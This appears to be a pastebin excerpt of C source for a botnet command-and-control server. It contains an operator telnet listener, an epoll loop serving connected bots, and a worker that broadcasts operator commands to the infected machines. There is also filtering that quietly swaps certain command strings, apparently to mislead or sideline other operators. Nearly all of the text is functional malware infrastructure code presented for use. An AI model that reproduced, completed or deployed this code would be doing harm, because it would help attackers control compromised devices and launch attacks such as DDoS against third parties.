  779.                 char* nosh4u = "! SH";
  780.                 char* nosh4u2 = "!* SH";
  781.                 if(strstr(buf, "! ") != NULL || strstr(buf, "!* ") != NULL || strstr(buf, ">- ") != NULL){
  782.                     if(strcmp(buf, falsejuan) == 0){
  783.                         broadcast(realjuan, thefd, 0);
  784.                         memset(buf, 0, 2048);
  785.                     }
  786.                     else if(strcmp(buf, falsetu) == 0){
  787.                         broadcast(realtu, thefd, 0);
  788.                         memset(buf, 0, 2048);
  789.                     }
  790.                     else if(strcmp(buf, realjuan) == 0 || strcmp(buf, realtu) ==0 || strcmp(buf, realljuan) == 0 || strcmp(buf, realltu) == 0){
  791.                         goto end;
  792.                     }
  793.                     else {
  794.                         broadcast(buf, thefd, 0);
  795.                         memset(buf, 0, 2048);
  796.                     }
  797.                 }
  798.                 else{
  799.                     broadcast(buf, thefd, 1); // take a command, send it to the bots
  800.                     memset(buf, 0, 2048);
  801.                 }
  802.         }
  803.         end:    // cleanup dead socket
  804.                 managements[thefd].connected = 0;
  805.                 close(thefd);
  806.                 managesConnected--;
  807. }
  808. void *telnetListener(void *useless)
  809. {
  810.         int sockfd, newsockfd;
  811.         socklen_t clilen;
  812.         struct sockaddr_in serv_addr, cli_addr;
  813.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  814.         if (sockfd < 0) perror("ERROR opening socket");
  815.         bzero((char *) &serv_addr, sizeof(serv_addr));
  816.         serv_addr.sin_family = AF_INET;
  817.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  818.         serv_addr.sin_port = htons(MY_MGM_PORT);
  819.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  820.         listen(sockfd,5);
  821.         clilen = sizeof(cli_addr);
  822.         while(1)
  823.         {
  824.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  825.                 if (newsockfd < 0) perror("ERROR on accept");
  826.                 pthread_t thread;
  827.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  828.         }
  829. }
  830.  
  831. int main(int argc, char *argv[])
  832. {
  833.         signal(SIGPIPE, SIG_IGN);
  834.        
  835.         int s, threads;
  836.         struct epoll_event event;
  837.        
  838.         if (argc != 3)
  839.         {
  840.                 fprintf (stderr, "IDIOT PROOF!\n");
  841.                 exit (EXIT_FAILURE);
  842.         }
  843.         fileFD = NULL;
  844.         threads = atoi(argv[2]);
  845.  
  846.         listenFD = create_and_bind (argv[1]);
  847.         if (listenFD == -1) abort ();
  848.  
  849.         s = make_socket_non_blocking (listenFD);
  850.         if (s == -1) abort ();
  851.  
  852.         s = listen (listenFD, SOMAXCONN);
  853.         if (s == -1)
  854.         {
  855.                 perror ("listen");
  856.                 abort ();
  857.         }
  858.        
  859.         epollFD = epoll_create1 (0);
  860.         if (epollFD == -1)
  861.         {
  862.                 perror ("epoll_create");
  863.                 abort ();
  864.         }
  865.  
  866.         event.data.fd = listenFD;
  867.         event.events = EPOLLIN | EPOLLET;
  868.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  869.         if (s == -1)
  870.         {
  871.                 perror ("epoll_ctl");
  872.                 abort ();
  873.         }
  874.        
  875.         pthread_t thread[threads + 2];
  876.         while(threads--)
  877.         {
  878.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  879.         }
  880.        
  881.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  882.        
  883.         while(1)
  884.         {
  885.                 sleep(60);
  886.         }
  887.  
  888.         close (listenFD);
  889.  
  890.         return EXIT_SUCCESS;
  891. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement